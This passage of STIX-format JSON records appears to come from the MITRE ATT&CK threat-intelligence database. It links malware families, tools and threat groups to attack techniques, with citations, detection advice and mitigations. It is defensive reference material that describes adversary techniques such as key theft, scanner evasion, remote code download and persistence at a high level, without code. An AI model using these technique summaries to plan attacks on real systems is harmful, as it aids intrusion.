Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can gather encryption keys from Azure AD services such as ADSync and Active Directory Federated Services servers.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:22:38.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be07fb4e-06db-4bb0-a1e0-23f34b24a97f","type":"relationship","created":"2019-01-30T19:50:46.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.473Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) uses a unique, custom de-obfuscation technique.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--be0a5404-5c19-4c22-b152-651a7e86ab11","created":"2022-04-16T17:46:32.493Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor processes with arguments that may potentially highlight adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.","modified":"2022-04-16T17:46:46.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be0b4e47-a6af-43f1-9f7c-b15cffedc290","created":"2023-03-13T20:35:00.601Z","revoked":false,"external_references":[{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T20:35:00.601Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) had added data prior to the Portable Executable (PE) header to prevent automatic scanners from identifying the payload.(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be12c965-ec79-4871-94de-c8421436c30c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:50:53.331Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) can record the sounds from microphones on a computer.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be1cb1fc-51c3-499a-8e14-16136f396f30","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor executed commands and arguments that may abuse Microsoft Office add-ins to obtain persistence on a compromised system. ","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be215fcd-d28a-4aa4-9d40-16f536f4e8cb","type":"relationship","created":"2021-04-09T13:34:37.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.291Z","description":"[Doki](https://attack.mitre.org/software/S0600) has disguised a file as a Linux kernel module.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be23e7d0-a4e1-4ba1-8883-e34e69d622c1","created":"2024-09-25T13:46:27.327Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:46:27.327Z","description":"Monitor network traffic content for strange or unusual patterns. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be2798b5-a9bc-409d-bdf5-eaca8f2eb94e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets","description":"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.","source_name":"Symantec Thrip June 2018"}],"modified":"2019-03-25T17:06:37.182Z","description":"(Citation: Symantec Thrip June 2018)","relationship_type":"uses","source_ref":"intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172","target_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be2d0ead-f24c-4b76-bdd9-695d163bcbf3","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.105Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Install-SSP Persistence module can be used to establish by installing a SSP DLL.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be2d7f8b-8e7d-45ac-b855-385bc1e03b7e","created":"2024-09-17T20:14:21.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:57:35.630Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can send RC4 encrypted data over C2 channels.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be301c77-e0ae-4207-9808-e4037be573f5","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be30816a-854a-4568-ade5-8baa60fa087c","type":"relationship","created":"2020-03-19T22:23:33.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2020-03-19T22:23:33.601Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2019-04-24T23:41:40.097Z","description":"[POSHSPY](https://attack.mitre.org/software/S0150) downloads and executes additional PowerShell code and Windows binaries.(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be34e043-48a0-4192-a877-e8520a2800cc","type":"relationship","created":"2019-11-27T13:52:46.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T14:36:25.006Z","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. In Linux environments, users account-level access to [at](https://attack.mitre.org/software/S0110) can be managed using at.allow and at.deny files. Users listed in the at.allow are enabled to schedule actions using at, whereas users listed in at.deny file disabled from the utility.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be366a5f-308d-42aa-ae76-f14dbbb8b136","type":"relationship","created":"2021-01-25T13:58:25.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-04-14T16:08:33.708Z","description":"[Dtrack](https://attack.mitre.org/software/S0567)’s dropper can list all running processes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be36df4d-4180-4271-ae0a-a7677df40261","type":"relationship","created":"2020-01-24T14:13:46.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-20T18:01:52.345Z","description":"Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be4040ce-c8cf-408d-b126-0954bbc1545b","type":"relationship","created":"2021-12-07T18:27:04.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Arp","description":"Microsoft. (n.d.). Arp. Retrieved April 17, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490864.aspx"},{"source_name":"Palo Alto ARP","url":"https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/uncommon-arp-cache-listing-via-arp-exe.html","description":"Palo Alto Networks. (2021, November 24). Cortex XDR Analytics Alert Reference: Uncommon ARP cache listing via arp.exe. Retrieved December 7, 2021."}],"modified":"2021-12-07T18:27:04.774Z","description":"[Arp](https://attack.mitre.org/software/S0099) can be used to display a host's ARP cache, which may include address resolutions for remote systems.(Citation: TechNet Arp)(Citation: Palo Alto ARP)","relationship_type":"uses","source_ref":"tool--30489451-5886-4c46-90c9-0dff9adc5252","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be444020-9002-42c3-a68c-1591c0d1e9e2","type":"relationship","created":"2020-01-30T14:34:45.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T14:34:45.421Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be48b079-418b-41c3-952b-cbf8a48f2002","created":"2022-09-29T20:10:21.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:01:43.074Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) has been obfuscated with hex-encoded strings.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be4909b2-ff92-4dca-b835-09df2b10adb2","created":"2022-01-09T22:20:52.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.685Z","description":"[Zox](https://attack.mitre.org/software/S0672) can enumerate attached drives.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be49ddce-5925-4fb2-8822-0b665d9aa812","created":"2020-09-22T19:30:17.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.428Z","description":"(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be510dc5-eae7-4231-808b-645a7b04c15a","type":"relationship","created":"2019-11-07T20:29:18.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/","description":"Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.","source_name":"MRWLabs Office Persistence Add-ins"}],"modified":"2021-08-16T21:27:11.474Z","description":"Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)\n","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--be51a4cd-8e2b-4605-9f8d-35e4689704f4","created":"2022-03-14T15:00:31.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RecordedFuture WhisperGate Jan 2022","description":"Insikt Group. (2020, January 28). WhisperGate Malware Corrupts Computers in Ukraine. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/whispergate-malware-corrupts-computers-ukraine"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:21:40.331Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can pause for 20 seconds to bypass antivirus solutions.(Citation: Medium S2W WhisperGate January 2022)(Citation: RecordedFuture WhisperGate Jan 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be55801c-82ed-4abe-960f-9bca9d704ffc","type":"relationship","created":"2019-06-28T17:54:44.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-18T20:06:22.133Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) has used a malicious Microsoft Exchange transport agent for persistence.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be571764-53d2-4f73-9567-8001e59925b8","type":"relationship","created":"2021-07-27T14:27:32.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:27:32.008Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has staged archives of collected data on a target's Outlook Web Access (OWA) server.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2022-01-19T18:01:19.877Z","description":"After encrypting its own log files, the log encryption module in [Prikormka](https://attack.mitre.org/software/S0113) deletes the original, unencrypted files from the host.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be61d80d-2291-4572-960c-dd741534f855","type":"relationship","created":"2019-12-03T14:25:00.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-24T17:33:03.677Z","description":"cron permissions are controlled by /etc/cron.allow and /etc/cron.deny. If there is a cron.allow file, then the user or users that need to use cron will need to be listed in the file. cron.deny is used to explicitly disallow users from using cron. If neither files exist, then only the super user is allowed to run 